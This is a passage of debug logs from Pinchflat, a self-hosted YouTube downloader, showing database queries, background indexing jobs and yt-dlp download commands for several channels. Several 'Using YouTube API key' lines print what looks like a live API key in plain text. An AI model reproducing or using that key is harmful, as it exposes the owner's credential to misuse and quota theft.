"ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 15:46:31.506 [debug] QUERY OK source="media_items" db=0.7ms idle=71.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 15:46:31.507 [debug] QUERY OK source="tasks" db=0.1ms idle=72.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799811, 27, ~U[2026-02-10 21:46:31Z], ~U[2026-02-10 21:46:31Z]] 15:46:31.507 [info] {"args":{"id":27},"id":3799771,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":73431,"event":"job:stop","queue_time":512621,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:33.027 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ae/f4/aef4e53ed7515c45fbad986c335847decc8f45663161bbd96e0cd70c9e83fcea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:46:33.027 [debug] Running yt-dlp command for action: download 15:46:33.027 [debug] QUERY OK source="settings" db=0.1ms idle=598.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:33.027 [debug] QUERY OK source="settings" db=0.1ms idle=149.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:33.027 [debug] QUERY OK source="settings" db=0.0ms idle=149.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:33.027 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XFWTgmV5C84 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Climate Town/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Climate Town/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ea/15/ea15ea2706c01fc4b349dff669fe47884f7ed2b95557797ebcce0424d6af38e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:46:33.435 [info] {"args":{"id":16},"id":3799772,"meta":{},"system_time":1770759993435677895,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:33.436 [debug] QUERY OK source="sources" db=0.1ms idle=408.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 15:46:33.436 [debug] QUERY OK source="settings" db=0.0ms idle=408.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:33.436 [debug] QUERY OK source="media_profiles" db=0.1ms idle=408.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:33.436 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:33.436 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 15:46:33.436 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:33.436 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:33.920 [debug] QUERY OK source="media_items" db=0.6ms idle=483.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 15:46:33.922 [debug] QUERY OK source="media_items" db=0.8ms idle=485.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 15:46:33.922 [debug] QUERY OK source="tasks" db=0.1ms idle=486.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799812, 16, ~U[2026-02-10 21:46:33Z], ~U[2026-02-10 21:46:33Z]] 15:46:33.923 [info] {"args":{"id":16},"id":3799772,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":487318,"event":"job:stop","queue_time":472420,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:34.438 [info] {"args":{"id":43},"id":3799773,"meta":{},"system_time":1770759994438817304,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:34.439 [debug] QUERY OK source="sources" db=0.3ms idle=516.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 15:46:34.439 [debug] QUERY OK source="settings" db=0.3ms idle=516.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:34.440 [debug] QUERY OK source="media_profiles" db=0.2ms idle=510.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:34.440 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:34.440 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 15:46:34.440 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:34.440 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:34.544 [debug] QUERY OK source="media_items" db=0.6ms idle=104.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 15:46:34.545 [debug] QUERY OK source="media_items" db=0.3ms idle=105.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 15:46:34.546 [debug] QUERY OK source="tasks" db=0.1ms idle=105.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799813, 43, ~U[2026-02-10 21:46:34Z], ~U[2026-02-10 21:46:34Z]] 15:46:34.546 [info] {"args":{"id":43},"id":3799773,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107462,"event":"job:stop","queue_time":485846,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:36.440 [info] {"args":{"id":25},"id":3799774,"meta":{},"system_time":1770759996440720367,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:36.440 [info] {"args":{"id":7},"id":3799775,"meta":{},"system_time":1770759996440760914,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:46:36.441 [debug] QUERY OK source="sources" db=0.0ms idle=562.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 15:46:36.441 [debug] QUERY OK source="sources" db=0.1ms idle=562.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 15:46:36.441 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:36.441 [debug] QUERY OK source="settings" db=0.1ms idle=562.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:36.441 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:36.441 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:46:36.441 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:36.441 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 15:46:36.441 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:36.441 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:36.441 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 15:46:36.441 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:36.441 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:46:36.441 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:46:36.539 [debug] QUERY OK source="media_items" db=0.7ms idle=97.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 15:46:36.541 [debug] QUERY OK source="media_items" db=1.2ms idle=98.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = 